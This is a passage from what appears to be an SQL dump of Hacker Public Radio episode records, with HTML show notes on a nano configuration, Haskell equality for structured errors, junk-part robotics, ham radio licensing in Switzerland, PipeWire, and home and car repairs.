main\r\nbind ^O insert main\r\nbind ^H help all\r\nbind ^H exit help\r\nbind ^F whereis all\r\nbind ^G findnext all\r\nbind ^B wherewas all\r\nbind ^D findprevious all\r\nbind ^R replace main\r\nbind ^X cut main\r\nbind ^C copy main\r\nbind ^V paste all\r\nbind ^P location main\r\nbind ^E execute main\r\nbind ^A mark main\r\nunbind ^K main\r\nunbind ^U all\r\nunbind ^N main\r\nunbind ^Y all\r\nunbind M-J main\r\nunbind M-T main\r\nbind ^T gotoline main\r\nbind ^T gotodir browser\r\nbind ^T cutrestoffile execute\r\nbind ^L linter execute\r\nbind M-U undo main\r\nbind M-R redo main\r\nbind ^Z undo main\r\nbind ^Y redo main\r\n</code></pre>\r\n<p>What we have just done is, we have enabled some useful features of <code>nano</code> and changed the default keybindings to the more familiar ones like <code>Ctrl+C</code> for copying, <code>Ctrl+X</code> for cutting, <code>Ctrl+V</code> for pasting and a bunch of other key combinations. We\'ve also enabled automatic backing-up of documents. Backups will get saved in the user\'s <code>Documents/Nano_Backups</code> directory.</p>\r\n<p>Spell checker is enabled in <code>nano</code> via this configuration but to utilize it you\'ll have to install <code>aspell</code> and <code>aspell-dictionary</code> from your package manager.</p>\r\n<p>Kudos! We have turned a timid <code>GNU nano</code> into a powerful wildebeest. Try this configuration and if possible leave your feedback.</p>\r\n<p>A word of warning. Package maintainers often ship stripped down versions of <code>nano</code> so one of these features might not be present in your installation and in that case, <code>nano</code> will throw some errors and refuse to start. You have two choices in that scenario; first, disable that feature by deleting the corresponding line from <code>.nanorc</code> file. Your second option is to download the <code>nano</code> <a href=\"https://nano-editor.org/download.php\">source code</a> and compile it yourself with all the features intact. If I were you, I\'d go with the second option as compiling <code>nano</code> is really simple and straightforward. Only extra packages that you will need are <code>libncurses-dev</code> and <code>libmagic-dev</code>.</p>\r\n<p>I\'ll leave you guys with a quote from some wise man,</p>\r\n<blockquote>\r\n<p>Good Things Come in Small Packages.</p>\r\n</blockquote>\r\n',397,11,1,'CC-BY-SA','text-editor, terminal, linux, nano, pico, pine, nanorc',0,0,1),
(3488,'2021-12-15','Binaural 3d audio recording, please listen at normal speed with good head phones.',302,'recorded November 19 2021 quick storm.','<p>Recorded November 19 2021 quick storm. Please search Binaural on HPR for similar recordings and description of procedure, enjoy and have a glorious 2022.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=0785\">hpr0785 :: binaural recording</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=0792\">hpr0792 :: Binaural Recording</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2338\">hpr2338 :: Binaural recording 2 off to work</a></li>\r\n</ul>\r\n',110,101,0,'CC-BY-SA','Binaural, storm, thunder',0,0,1),
(3479,'2021-12-02','Linux Inlaws S01E49: Version Control Systems and why bother',3414,'Version Control Systems and why bother','<p>In this episode our two heroes contemplate the ins and outs of version\r\ncontrol systems (VCS) and how to maintain sanity using them. Particular focus\r\nis on the newer generation of such as git which enabled large-scale community\r\nprojects such as the Linux kernel, programming languages like Rust and Python\r\nand other shenanigans. Including a crash course on version control systems\r\n- you may credits at your local third-level education facility for listening\r\nto this episode. Just tell them the Inlaws sent you :-). Plus Martin reveals\r\nhis favourite Pay TV channel and his gun-buying habits being a minor. Don\'t\r\nmiss this episode if you\'re a minor and want to buy a gun in certain countries\r\n(details as part of the episode! :-).</p>\r\n\r\n<h2>Links:</h2>\r\n<ul>\r\n<li>V-Model: <a href=\"https://en.wikipedia.org/wiki/V-Model\" target=_blank>https://en.wikipedia.org/wiki/V-Model</a></li>\r\n<li>Mercurial: <a href=\"https://www.mercurial-scm.org\" target=_blank>https://www.mercurial-scm.org</a></li>\r\n<li>Concurrent Version Control System (CVS): <a href=\"https://cvs.nongnu.org\" target=_blank>https://cvs.nongnu.org</a></li>\r\n<li>Minix: <a href=\"https://www.minix3.org\" target=_blank>https://www.minix3.org</a></li>\r\n<li>Bazaar: <a href=\"https://bazaar.canonical.com/en\" target=_blank>https://bazaar.canonical.com/en</a></li>\r\n<li>Subversion (SVN): <a href=\"https://subversion.apache.org\" target=_blank>https://subversion.apache.org</a></li>\r\n<li>Git: <a href=\"https://git-scm.com\" target=_blank>https://git-scm.com</a></li>\r\n<li>Bitkeeper: <a href=\"https://www.bitkeeper.org\" target=_blank>https://www.bitkeeper.org</a></li>\r\n<li>IBM 390: <a href=\"https://www.ibm.com/ibm/history/exhibits/mainframe/mainframe_PP9000.html\" target=_blank>https://www.ibm.com/ibm/history/exhibits/mainframe/mainframe_PP9000.html</a></li>\r\n<li>gitea: <a href=\"https://gitea.io\" target=_blank>https://gitea.io</a></li>\r\n<li>Special K: <a href=\"https://en.wikipedia.org/wiki/Special_K\" target=_blank>https://en.wikipedia.org/wiki/Special_K</a></li>\r\n<li>Special K (song): <a href=\"https://en.wikipedia.org/wiki/Special_K_(song)\" target=_blank>https://en.wikipedia.org/wiki/Special_K_(song)</a></li>\r\n<li>Special K (former country, the Wikipedia page is slightly outdated): <a href=\"https://en.wikipedia.org/wiki/United_Kingdom\" target=_blank>https://en.wikipedia.org/wiki/United_Kingdom</a></li>\r\n<li>Imperium: <a href=\"https://www.imdb.com/title/tt4781612/?ref_=fn_al_tt_2\" target=_blank>https://www.imdb.com/title/tt4781612/?ref_=fn_al_tt_2</a></li>\r\n</ul>\r\n',384,111,1,'CC-BY-SA','Version control systems, git, subversion, mercurial, bazaar, how to buy guns as a minor in NL',0,0,1),
(3483,'2021-12-08','Pinephone64 review',563,'Sigflup got a pinephone and wants to talk about it. ','<p>ringtone location: <code>/usr/share/sounds/freedesktop/stereo</code></p>\r\n\r\n<p>\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3483/hpr_pine.jpg\" /><br />\r\nGimp on a cellphone, for obvious reasons.</p>\r\n\r\n\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/PinePhone\">wikipedia: https://en.wikipedia.org/wiki/PinePhone</a></li>\r\n<li><a href=\"https://www.pine64.org/pinephone/\">Official website: https://www.pine64.org/pinephone/</a></li>\r\n<li><a href=\"https://wiki.pine64.org/index.php/PinePhone\">PinePhone Wiki: https://wiki.pine64.org/index.php/PinePhone</a></li>\r\n</ul>\r\n',115,0,0,'CC-BY-SA','linux,cellphone,pinephone,mobie phone',0,0,1),
(3505,'2022-01-07','A DX with Hotel Bravo 9 Hotel November Tango',2890,'Ken (PA7KEN) and Beni (HB9HNT) talk about getting your HAM ticket in Switzerland','<h3>HAM Radio Organizations</h3>\r\n<p>\r\nThe HAM Page of the Swiss Federal Office of Communications, BAKOM: <a href=\"https://www.bakom.admin.ch/bakom/de/home/frequenzen-antennen/frequenznutzung-mit-oder-ohne-konzessionen/amateurfunk.html\">https://www.bakom.admin.ch/bakom/de/home/frequenzen-antennen/frequenznutzung-mit-oder-ohne-konzessionen/amateurfunk.html</a>\r\n</p>\r\n<p>\r\nUnion of Swiss Short Wave Amateurs, they manage the local associations and the use of the frequencies for relays and automated stations: <a href=\"https://www.uska.ch/en/\">https://www.uska.ch/en/</a>\r\n</p>\r\n\r\n<h3>Training</h3>\r\n\r\n<p>\r\nMost likely the best way to prepare for the exam is attending a preparation course from a local Association, of have a brother who did and forwarded all the background info and documents to me. ;) But apart from having a brother I did the following:\r\n</p>\r\n<p>\r\nThe online version of the books I read: <a href=\"https://www.darc.de/der-club/referate/ajw/darc-online-lehrgang/\">https://www.darc.de/der-club/referate/ajw/darc-online-lehrgang/</a> - again in German. They\'re mainly geared towards the German exams but the knowledge contained is useful for the Swiss exams, too.\r\n</p>\r\n<p>\r\nI mainly used the HamRadioTrainer to prepare for the exam. This is a Windows application which however works pretty well in wine. I was told that the Swiss questions are rather old, 2017ish.\r\n</p>\r\n<p>\r\nI was told that there are mobile apps with more recent questions but I couldn\'t be bothered to check whether they exist on F-Droid.\r\n</p>\r\n<p>\r\nThe BAKOM also has a site about the exams, containing PDFs with example questions, of course again everything in German: <a href=\"https://www.bakom.admin.ch/bakom/de/home/frequenzen-antennen/funkerpruefungen/amateurfunk-pruefungen.html\">https://www.bakom.admin.ch/bakom/de/home/frequenzen-antennen/funkerpruefungen/amateurfunk-pruefungen.html</a>\r\n</p>',288,43,0,'CC-BY-SA','Swiss,BAKOM,HamRadioTrainer,HB9',0,0,1),
(3482,'2021-12-07','Introduction to Post Apocalyptic Robotics Meta Technology',810,'Building robots from junk parts and tech prepping','<p><a href=\"https://solarbotics.net/bftgu/default.htm\" class=\"uri\">https://solarbotics.net/bftgu/default.htm</a><br />\r\n<a href=\"https://www.bitchute.com/video/jwD4sZhnXrEk/\" class=\"uri\">https://www.bitchute.com/video/jwD4sZhnXrEk/</a></p>\r\n<p>Hail to my Loyal Henchmen and fellow SuperVillains, welcome new recruits and greetings to the hackers of HPR.</p>\r\n<p>This is Mechatroniac the mechatronics maniac with the zeroth installment of Robot Warlords of the Apocalypse, where I will talk about post apocalyptic robotics and share my projects, philosophy and future ambitions.</p>\r\n<p>I am doing this podcast contribution for hacker public radio.</p>\r\n<p>hackerpublicradio.org</p>\r\n<p>After this has aired on HPR I will be adding video and to this presentation which will be uploaded to my channel at:</p>\r\n<p><a href=\"https://bitchute.com/channel/mechatroniac\" class=\"uri\">https://bitchute.com/channel/mechatroniac</a> point youtube-dl at it and download them all.</p>\r\n<p>Mechatronics is code, electronics and mechanics working together as a system. I am weak in all 3, but have built mini battlebot style robots completely from scratch, with every chassis part, every motor and wheel, and every circuit that drives them sourced for free from junk like discarded printers, dvds, tvs, computers and UPS.</p>\r\n<p>I am calling this ethos and the resultant aesthetic, Post Apocalyptic Robotics, that is robots that can be built by reclaiming existing post consumer products to create something new.</p>\r\n<p>Currently they are confined to smooth surfaces like battlebot arenas, but more rugged terrain bots are currently also being worked on, and I want to work towards autonomous and swarm robots as well.</p>\r\n<p>The recipes I release here, can be followed by anyone to build their own robots and devices, by simply gathering the required scrap units or similar as described; then disassembling, then finally reassembling into a new meta technological device.</p>\r\n<p>I hope that others will do the same, and come up with their own innovations and new recipes that can be added to our incipient swarms of meta-technological bots as they evolve ever more sophistication.</p>\r\n<p>Welcome to post apocalyptic robotics.</p>\r\n<p>Introduction to Post-Apocalypse Robotics Meta-technology</p>\r\n<p>Tech Prepping, Building a \'battlebot\' out of junk</p>\r\n<p>Meteors, asteroids, comets. Cataclysmic solar flares, massive volcanic eruptions and earthquakes triggering massive tsunamis, social unrest, runaway climate change, ransomware and EMPs attacks striking electric grids, deadly viral pandemics, mass hysteria, big boats blocking waterways, obscured malware in a systemd update, management engines at the heart of CPUs providing backdoors to Intel and AMD hardware at root -3 privilege... what could go wrong there?</p>\r\n<p>There are a large number of looming events which could collapse technological society as it is, wiping out most of the internet and shipping and transport and hopefully maybe even the government.</p>\r\n<p>Tech Prepping is more important than food prepping</p>\r\n<p>While most survivalist and prepper types concentrate on stacking cans of beans, seeds, fuel and ammo, the robot prepper will also be hoarding books on pdf, component datasheets, software libraries, breakout boards and every post EOL electronics product they can get their hands on.</p>\r\n<p>In a semi apocalyptic scenario where the trucks stop rolling, a lot of people who save seeds will be able to grow food in their communities, so food won\'t be such a big deal.</p>\r\n<p>There might even be some that figure out how to make petroleum from wood like mrteslonian channel on youtube.</p>\r\n<p>But a real crux will be analog, digital electronics technology, IT and mechatronics. Those communities with working electronics, mechatronics, and information technology infrastructure, will be at a distinct competitive advantage. They will be able to leverage this in such things as automation of agriculture, from watering schedules to weed pulling along with many other applications that will make the PAR communities ascendant. All else being equal, PAR will be a force multiplier vs hostile neighbours starved of their slaveslabs swiping because facebook no longer exists, or remnants of the tyrannical state coming out of their DUMB bunkers and thinking they still have the right to rule.</p>\r\n<p>It\'s a good thing then, that we have a boost up to a mechatronic technological society all around us in the electronic consumer devices that although they may be decrepit, soiled and/or dead, nonetheless contain a wealth of component parts -most of which are hardy enough to function for a very long time, components that can be reused in new applications.</p>\r\n<p>It\'s like there is a supply chain for robot factories all around us. It\'s not infinite but it is very plentiful at the moment. Sadly, our society is blind to the current and future worth of the technological legacy in our midst and the electronics recycling is electronics destruction.</p>\r\n<p>Meta technology</p>\r\n<p>Antecedents: BEAM, cyberpunk, road warrior</p>\r\n<p>Fellow Travellers/Parallels: Maker, Right to repair, hardware hacking(Valerio De Giampietro - Hardware Hacking Tutorial), CollapseOS</p>\r\n<p>One of this new meta technology\'s main antecedents is BEAM(Biology Evolution Aesthetics Mechanics) robotics, Mark Tilden\'s robot projects that eschewed microprocessors in favour of circuits built of discrete components that mimic biological nerves and can react to environmental stimuli. There is a nice archive of BEAM related documents on the solarbotics site.</p>\r\n<p>Mark Tilden even wrote a book called \'Junk Bots\', so must have had some of the same ideas I have... but where Mark uses transistors as the nerves and brains, I am using arduino since microprocessors are now very inexpensive.</p>\r\n<p>The use of arduino is the only thing keeping my projects from being completely PAR, but one day wish to have entirely PAR</p>\r\n<p>Thus right to repair and hardware hacking are thus two important aspects to utilizing the processors inside consumer products to run other operating systems for our use. Unless we hoard thousands of atmega328p chips, it will be difficult to find processors that we can use unless they have been liberated via techniques described by Valerio De Giampietro. Reusing processors from printers and other products is a goal for the future, but right now, let\'s have some fun.</p>\r\n<p>FUN and Education The first arduino PAR battlebot I built - the herald/interceptor; is powered by 5 18650 cells from trashed laptops, powertrain is a custom hybrid relay/MOSFET H-bridge, and it is driven by four electric motors and wheels harvested from PA printers. It has IR remote control and is very fast to the extent that I had to add rubber bumpers to it to keep it and others safe.</p>\r\n<p>I departed somewhat from the PAR ethos, with added front and rear ultrasonic sensors, and an mp3 player powering a tv speaker. Hence, it is the herald/interceptor</p>\r\n<p>I think it has an interesting road warrior cyberpunk aesthetic, with the grey steel, aluminum and black ABS parts, and but for the wheels; star wars for the bolted on look of it</p>\r\n<p>Can we set up PAR tournaments where we can bring our bots and battle it out? Cost is no longer a barrier.</p>\r\n<p>I could see a challenging new sport that is a cross between battlebots and junkyard wars, where contestants would have a set amount of time to build a bot from junk, and then compete in racing or sumo matches.</p>\r\n<p>Obviously you are going to learn a lot building a robot and the best way to learn is by doing.</p>\r\n<p>Alright, now that I have shown some of the important strategic and fun implications of PAR meta technology, by raiding trashed consumer electronics for their components: I hope at the very least that everyone hearing this never again take their post use electronics to one of those recycling centers where all those precious components are destroyed, instead of keeping it in your basement where it belongs. You\'d do better taking it to a landfill where perhaps some future wretched mutant can discover and make use of it, than take it to electronics recycling.</p>\r\n<p>Next episode I\'ll show you how to build your PAR laboratory and give you the ingredients to the herald/interceptor battlebot, but if you\'re already excited to get started you can order an arduino Uno or nano, or an arduino kit with a bunch of sensors like I did when I got started. You can also start gathering things like printers, tvs, dvds, UPS and other waste, and get a soldering station if you don\'t already have one.</p>\r\n<p>In the coming episodes I will share the detailed recipe for my first post apocalyptic battlebot style robot I built complete with arduino code, and will show you how to build your own robot for free except for the arduino*. I\'ll also do email tech support for anyone having problems.</p>\r\n<p>I also want to go further into other tech prepper archiving, in case all or large parts of the internet are no longer accessible, and this may be where you programming specialists might be able to help. They kind of gave me weird looks on the arduino forums when I asked for a way to download all the libraries but was finally able to beg a script that let me download a lot of them, if not all.</p>\r\n<p>Also, all the component datasheets would be handy... it seems it would be prudent to have datasheets on all the components and microprocessors that you possibly can, and to have all the software libraries it would be practical to archive.</p>\r\n<p>I\'ll also go into more aspects and implications of this exciting meta technology, and I hope you will join me in building post apocalypse robotics and mechatronics fun.</p>\r\n',401,0,1,'CC-BY-SA','beam,righttorepair,robots,mechatronics',0,0,1),
(3489,'2021-12-16','Equality of structured errors',776,'Tuula talks about equality in Haskell','<p>Equality of structured errors</p>\r\n<h2 id=\"background\">Background</h2>\r\n<p>In previous episode, I built a system where error codes weren\'t defined in one huge type. This made compilation times faster and maintenance quite a bit more easier.</p>\r\n<h2 id=\"problem\">Problem</h2>\r\n<p>I wanted to write a test to see that parameters passed to <code>validatePatchApiPersonR</code> are validated correctly. <code>patchApiPersonR</code> is used by client to do partial updates on a <code>Person</code> entity. There\'s three different cases I wanted to check:</p>\r\n<ul>\r\n<li>trying to change life focus too soon (there\'s 5 year cooldown)</li>\r\n<li>trying to select same life focus that has already been selected</li>\r\n<li>trying to modify somebody else\'s avatar</li>\r\n</ul>\r\n<p>Code is shown below and the last 2 lines are the interesting ones. There I\'m using equality to compare if a given error exists in a list of errors created by <code>validatePatchApiPersonR</code>.</p>\r\n<pre><code>spec :: Spec\r\nspec = do\r\n describe &quot;people&quot; $ do\r\n describe &quot;life focus&quot; $ do\r\n describe &quot;Validating requests&quot; $ do\r\n it &quot;All errors are reported&quot; $ do\r\n forAll anyCompletelyFaultyRequest $\r\n \\(userE, personE, msg, date) -&gt;\r\n let res = validatePatchApiPersonR (userE ^. entityKeyL, userE ^. entityValL, personE, msg, date)\r\n newFocus = msg ^? patchPersonRequestLifeFocus . _Just . _Just\r\n in\r\n case res of\r\n V.Success _ -&gt;\r\n expectationFailure &quot;Invalid request was not detected&quot;\r\n\r\n V.Failure errs -&gt; do\r\n errs `shouldSatisfy` (\\xs -&gt; any (\\x -&gt; &quot;CanNotChangeLifeFocusSoSoon&quot; `isInfixOf` (pack $ show x)) xs)\r\n errs `shouldContain` [ canNotReselectSameLifeFocus newFocus ]\r\n errs `shouldContain` [ insufficientRights ]\r\n</code></pre>\r\n<h2 id=\"detour-on-equality\">Detour on equality</h2>\r\n<p>Equality in Haskell works slightly differently compared to for example C#. There is no built in, default implementation that gets used when the programmer hasn\'t written their own. If you want to compare equality, there needs to be implementation specific to your data types. This is done by making an instance of type class <code>Eq</code> (<a href=\"https://hackage.haskell.org/package/base-4.15.0.0/docs/Data-Eq.html\">https://hackage.haskell.org/package/base-4.15.0.0/docs/Data-Eq.html</a>).</p>\r\n<pre><code>class Eq a where\r\n (==) :: a -&gt; a -&gt; Bool\r\n (/=) :: a -&gt; a -&gt; Bool\r\n</code></pre>\r\n<p>There\'s two functions: <code>==</code> for equality and <code>/=</code> for inequality. You need to implement either one.</p>\r\n<h2 id=\"back-to-problem\">Back to problem</h2>\r\n<p><code>ECode</code> is our structured error code type and defined as follows (this is short recap of previous episode):</p>\r\n<pre><code>data ECode where\r\n ECode :: (ErrorCodeClass a, ToJSON a, Eq a, Show a) =&gt; a -&gt; ECode\r\n</code></pre>\r\n<p>It can wrap anything that has correct type class instances and you will always get <code>ECode</code> as a result. It hides the specific type of thing being wrapped and only functions defined in type classes are available.</p>\r\n<h2 id=\"first-try\">First try</h2>\r\n<p>Peel away <code>ECode</code> and compare what\'s inside and compare wrapped values:</p>\r\n<pre><code>instance Eq ECode where\r\n ECode a == ECode b =\r\n a == b\r\n</code></pre>\r\n<p>This will lead into a error \"Couldn\'t match expected type &#x2018;a&#x2019; with actual type &#x2018;a1&#x2019;. &#x2018;a1&#x2019; is a rigid type variable bound by a pattern with constructor...\". This is because <code>ECode</code> can wrap many different types, there is no quarantee that you\'re comparing values of same type. The whole error is show below for reference:</p>\r\n<pre><code>[35 of 76] Compiling Errors ( src/Errors.hs, .stack-work/dist/x86_64-linux/Cabal-2.2.0.1/build/Errors.o )\r\n\r\n/home/tuula/programming/sky/src/Errors.hs:148:14: error:\r\n &#x2022; Couldn&#39;t match expected type &#x2018;a&#x2019; with actual type &#x2018;a1&#x2019;\r\n &#x2018;a1&#x2019; is a rigid type variable bound by\r\n a pattern with constructor:\r\n ECode :: forall a.\r\n (ErrorCodeClass a, ToJSON a, Eq a, Show a) =&gt;\r\n a -&gt; ECode,\r\n in an equation for &#x2018;==&#x2019;\r\n at src/Errors.hs:147:16-22\r\n &#x2018;a&#x2019; is a rigid type variable bound by\r\n a pattern with constructor:\r\n ECode :: forall a.\r\n (ErrorCodeClass a, ToJSON a, Eq a, Show a) =&gt;\r\n a -&gt; ECode,\r\n in an equation for &#x2018;==&#x2019;\r\n at src/Errors.hs:147:5-11\r\n &#x2022; In the second argument of &#x2018;(==)&#x2019;, namely &#x2018;b&#x2019;\r\n In the expression: a == b\r\n In an equation for &#x2018;==&#x2019;: ECode a == ECode b = a == b\r\n &#x2022; Relevant bindings include\r\n b :: a1 (bound at src/Errors.hs:147:22)\r\n a :: a (bound at src/Errors.hs:147:11)\r\n |\r\n148 | a == b\r\n |\r\n</code></pre>\r\n<h2 id=\"second-try\">Second try</h2>\r\n<p>We can use <code>Show</code> to turn <code>ECode</code> into string and compare them. This is what I did initially.</p>\r\n<pre><code>instance Eq ECode where\r\n a == b = show a == show b\r\n</code></pre>\r\n<p>While this works, it feels hacky. It relies on string representations being different. If you accidentally write <code>Show</code> instance in a way that produces same string with two different values, the comparison breaks down.</p>\r\n<h2 id=\"third-time-is-a-charm\">Third time is a charm</h2>\r\n<p>After pondering a bit, I asked myself a question \"When are two <code>ECode</code> equal?\". The answer I arrived is \"When they have same http status code and description.\" Then I could write yet different take on equality:</p>\r\n<pre><code>instance Eq ECode where\r\n a == b =\r\n httpStatusCode a == httpStatusCode b\r\n &amp;&amp; description a == description b\r\n</code></pre>\r\n<p>This states that to two <code>ECode</code> values are equal, if they have same <code>httpStatusCode</code> and <code>description</code>.</p>\r\n<p>Thanks for listening, if you have any questions or comments, you can reach me via email or in fediverse, where I\'m <code>Tuula@tech.lgbt</code>. Or even better, you could record your own hacker public radio episode.</p>\r\n<p>Ad astra!</p>\r\n',364,107,1,'CC-BY-SA','haskell, eq',0,0,1),
(3487,'2021-12-14','Installing a cat door',1446,'Rho`n installs a cat door in his interior basement door','<h1>Synopsis</h1>\r\n<p>In today\'s episode, Rho`n installs a cat door in the basement door separating the finished side of the basement from the utility side. Follow along as he learns once again that it is best to read all the instructions before starting a project, and also learns that modern, inexpensive, interior doors are not made of wood.</p>\r\n\r\n<p>The following are the pictures taken during the project.</p>\r\n<style>\r\ndiv#figures {\r\n display: flex;\r\n flex-direction: row;\r\n flex-wrap: wrap;\r\n justify-content: center;\r\n}\r\ndiv#figures figure { max-width: 492px; }\r\ndiv#figures img { max-width: 50vw; padding-bottom: 0.15em }\r\n</style>\r\n<div id=\"figures\">\r\n<figure>\r\n <a href=\"https://hackerpublicradio.org/eps/hpr3487/01.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3487/01-sm.jpg\"\r\n alt=\"Basement door laid out on a table with the cat door template applied\"></a>\r\n <figcaption>Basement door laid out on a table with the cat door template applied</figcaption>\r\n</figure>\r\n<figure>\r\n <a href=\"https://hackerpublicradio.org/eps/hpr3487/02.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3487/02-sm.jpg\"\r\n alt=\"Basement door after cutting a hole through it. Showing the hole and the interior of the door.\"></a>\r\n <figcaption>Basement door after cutting a hole through it. Showing the hole and the interior of the door.</figcaption>\r\n</figure>\r\n<figure>\r\n <a href=\"https://hackerpublicradio.org/eps/hpr3487/03.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3487/03-sm.jpg\"\r\n alt=\"View from the finished side of the basement showing the installed cat door.\"></a>\r\n <figcaption>View from the finished side of the basement showing the installed cat door.</figcaption>\r\n</figure>\r\n<figure>\r\n <a href=\"https://hackerpublicradio.org/eps/hpr3487/04.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3487/04-sm.jpg\"\r\n alt=\"View from the utility side of the basement showing the installed cat door.\"></a>\r\n <figcaption>View from the utility side of the basement showing the installed cat door.</figcaption>\r\n</figure>\r\n</div>\r\n<h1>Attribution</h1>\r\n\r\n<p>The transition sound used between audio clips is found on <a href=\"https://freesound.org/\">freesound.org</a>:<br>\r\nName: <a href=\"https://freesound.org/people/DanJFilms/sounds/529064/\">Harp Transition Music Cue</a><br>\r\nAuthor: <a href=\"https://freesound.org/people/DanJFilms/\">DanJFilms</a><br>\r\nLicense: <a href=\"https://creativecommons.org/publicdomain/zero/1.0/\">Creative Commons Zero</a></p>\r\n',293,0,0,'CC-BY-SA','Install, cat door',0,0,1),
(3492,'2021-12-21','Linux Inlaws S01E44: Pipewire Just another audio server Think again',3170,'Pipewire - Just another audio server? - Think again!','<p>In this episode - sadly missing Martin as he buggered off to do something\r\nelse - the remaining Inlaw hosts Wim Taymans, inventor and brain behind\r\nPipewire, a new approach to Linux audio. Don\'t miss out on this episode if\r\nyou\'re fed up with Pulseaudio (hello Martin :-) or find Jack just too\r\ncomplicated for every-day usage - you may see audio on Linux from a different\r\nperspective after this episode... Never mind those of you who are looking for\r\na crash-course on audio on Linux - this episode is for you!</p>\r\n\r\n<h2>Links:</h2>\r\n<ul>\r\n<li>Pipewire: <a href=\"https://github.com/PipeWire/pipewire\" target=_blank>https://github.com/PipeWire/pipewire</a></li>\r\n<li>gstreamer: <a href=\"https://gstreamer.freedesktop.org\" target=_blank>https://gstreamer.freedesktop.org</a></li>\r\n<li>ALSA: <a href=\"https://alsa-project.org/wiki/Main_Page\" target=_blank>https://alsa-project.org/wiki/Main_Page</a></li>\r\n<li>PulseAudio: <a href=\"https://www.freedesktop.org/wiki/Software/PulseAudio\" target=_blank>https://www.freedesktop.org/wiki/Software/PulseAudio</a></li>\r\n<li>Jack: <a href=\"https://jackaudio.org\" target=_blank>https://jackaudio.org</a></li>\r\n<li>eventfd: <a href=\"https://man7.org/linux/man-pages/man2/eventfd.2.html\" target=_blank>https://man7.org/linux/man-pages/man2/eventfd.2.html</a></li>\r\n<li>Rubik\'s Cube: <a href=\"https://www.rubiks.com/en-us\" target=_blank>https://www.rubiks.com/en-us</a></li>\r\n<li>And how to solve this: <a href=\"https://ruwix.com/the-rubiks-cube/advanced-cfop-fridrich\" target=_blank>https://ruwix.com/the-rubiks-cube/advanced-cfop-fridrich</a></li>\r\n<li>How to make Kefir: <a href=\"https://www.twopeasandtheirpod.com/how-to-make-kefir\" target=_blank>https://www.twopeasandtheirpod.com/how-to-make-kefir</a></li>\r\n</ul>\r\n',384,111,1,'CC-BY-SA','Linux audio, Pipewire, PulseAudio, Jack, gstreamer, Rubik\'s Cube, Kefir',0,0,1),
(3499,'2021-12-30','Fixing a noisy blower motor',264,'I fix a noisy blower motor that I put off since last winter.','<p>A brief description of fixing a problem I put off from last winter, on the 2013 Hyundai Elantra.</p>\r\n<p><em>Motor with the electrical plug still attached</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3499/20211119_171709.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3499/20211119_171709_thumbnail.jpg\" alt=\"Motor with the electrical plug still attached\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\r\n<p><em>12 volt plug showing where to press the clip to remove it</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3499/20211120_134626.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3499/20211120_134626_thumbnail.jpg\" alt=\"12 volt plug showing where to press the clip to remove it\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\r\n<p><em>Mess left by the lithium grease spray</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3499/20211119_172040.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3499/20211119_172040_thumbnail.jpg\" alt=\"Mess left by the lithium grease spray\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\r\n<p><em>Broken clip: Don\'t try this</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3499/20211120_135727.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3499/20211120_135727_thumbnail.jpg\" alt=\"Broken clip: Don&#39;t try this\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\r\n<p><em>Motor cage apart, showing the bearing</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3499/20211120_143842.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3499/20211120_143842_thumbnail.jpg\" alt=\"Motor cage apart, showing the bearing\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\r\n<!-- ![Motor with the electrical plug still attached.](20211119_171709.jpg) -->\r\n\r\n<!-- Motor with the electrical plug still attached. -->\r\n\r\n<!-- ![12 volt plug showing where to press the clip to remove it.](20211120_134626.jpg) -->\r\n\r\n<!-- 12 volt plug showing where to press the clip to remove it. -->\r\n\r\n<!-- ![Mess left by the lithium grease spray.](20211119_172040.jpg) -->\r\n\r\n<!-- Mess left by the lithium grease spray. -->\r\n\r\n<!-- ![Broken clip: Don\'t try this.](20211120_135727.jpg) -->\r\n\r\n<!-- Broken clip: Don\'t try this. -->\r\n\r\n<!-- ![Motor cage apart, showing the bearing.](20211120_143842.jpg) -->\r\n\r\n<!-- Motor cage apart, showing the bearing. -->\r\n\r\n<h2 id=\"attribution\">Attribution</h2>\r\n<p>The transition sound used between audio clips is found on <a href=\"https://freesound.org/\">freesound.org</a>:<br>\r\nName: <a href=\"https://freesound.org/people/juanto9889/sounds/414870\"> efectos de sonido cartoon &#xBB; transition </a><br>\r\nAuthor: <a href=\"https://freesound.org/people/juanto9889\">juanto9889</a><br>\r\nLicense: <a href=\"https://creativecommons.org/publicdomain/zero/1.0/\">Creative Commons Zero</a></p>\r\n',318,0,0,'CC-BY-SA','car,repair,maintenance,bearing',0,0,1),
